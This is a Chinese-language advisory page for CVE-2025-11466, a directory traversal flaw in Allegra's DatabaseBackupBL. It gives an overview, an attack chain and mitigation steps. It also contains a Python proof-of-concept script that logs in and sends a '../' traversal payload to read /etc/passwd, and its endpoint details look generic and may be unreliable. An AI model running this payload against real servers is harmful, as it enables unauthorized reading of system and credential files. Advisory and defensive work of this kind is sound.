IPBUF安全漏洞报告
English
CVE-2025-11466 CVSS 4.9 中危

CVE-2025-11466 Allegra DatabaseBackupBL目录遍历信息泄露漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-11466
漏洞类型
目录遍历
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Allegra

相关标签

目录遍历信息泄露AllegraDatabaseBackupBLZDI-CAN-27136CVE-2025-11466认证要求中危漏洞

漏洞概述

CVE-2025-11466是Allegra软件中的一个中等严重性信息泄露漏洞。该漏洞存在于DatabaseBackupBL类中,由于缺乏对用户提供的路径参数的正确验证,攻击者可以利用目录遍历技术访问服务器上的敏感文件。成功利用此漏洞可导致服务账户上下文中的敏感信息被泄露,包括配置文件、数据库凭证、系统文件等。由于该漏洞需要认证才能利用,因此主要威胁来自内部攻击者或已获取有效凭据的外部攻击者。CVSS评分4.9反映出该漏洞主要影响机密性,对完整性和可用性无影响。攻击复杂度低,无需用户交互,但需要高权限认证。该漏洞由Trend Micro Zero Day Initiative(ZDI)发现并披露,编号为ZDI-CAN-27136。

技术细节

该漏洞的根本原因在于DatabaseBackupBL类在处理文件操作时,未能对用户提供的路径进行充分的安全验证。攻击者可以通过构造特殊的路径字符串(通常包含../序列)来突破应用程序的目录限制,访问原本无权访问的文件。在数据库备份功能中,如果路径参数直接来源于用户输入且未经过严格的过滤和规范化,攻击者即可利用目录遍历读取任意文件。攻击成功后的影响范围取决于服务账户的权限配置,若服务以高权限账户运行,攻击者可能获取系统级敏感信息。防御此类漏洞的关键措施包括:对所有文件路径参数进行输入验证、使用realpath()等函数解析和规范路径、限制可访问的目录范围、以及采用最小权限原则运行服务。

攻击链分析

STEP 1
步骤1
攻击者获取Allegra系统的有效认证凭据(通过社会工程、暴力破解或其他方式)
STEP 2
步骤2
攻击者构造包含目录遍历序列(如../../../)的恶意请求,目标是DatabaseBackupBL功能
STEP 3
步骤3
服务器端缺乏路径验证,将用户提供的路径直接用于文件操作,绕过目录限制
STEP 4
步骤4
攻击者通过遍历获取敏感文件内容,如系统配置文件、数据库凭证、用户数据等
STEP 5
步骤5
利用获取的敏感信息进行进一步攻击,如横向移动、权限提升或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11466 Directory Traversal PoC # Target: Allegra DatabaseBackupBL # Note: Requires authenticated access import requests import os target_url = "http://target-allegra-server.com" login_url = f"{target_url}/api/auth/login" backup_url = f"{target_url}/api/database/backup" # Authentication credentials credentials = { "username": "admin", "password": "password" } # Directory traversal payload to read /etc/passwd traversal_payload = "../../../../../../etc/passwd" def exploit(): # Step 1: Authenticate to get session token session = requests.Session() auth_response = session.post(login_url, json=credentials) if auth_response.status_code != 200: print("[-] Authentication failed") return token = auth_response.json().get('token') print(f"[+] Authentication successful, token: {token[:20]}...") # Step 2: Send malicious backup request with directory traversal headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } exploit_data = { "backup_path": traversal_payload, "action": "backup" } response = session.post(backup_url, json=exploit_data, headers=headers) if response.status_code == 200: print("[+] Exploit successful - File content retrieved") print(response.text) else: print(f"[-] Exploit failed with status: {response.status_code}") if __name__ == "__main__": exploit()

影响范围

Allegra < 8.1.6

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)限制对DatabaseBackupBL功能的访问,仅允许受信任的管理员账户使用;2)实施严格的访问控制策略,使用强密码策略防止凭据被盗;3)监控日志中的异常路径遍历请求模式;4)考虑暂时禁用数据库备份功能直到补丁可用;5)部署入侵检测系统监控针对该漏洞的探测和利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表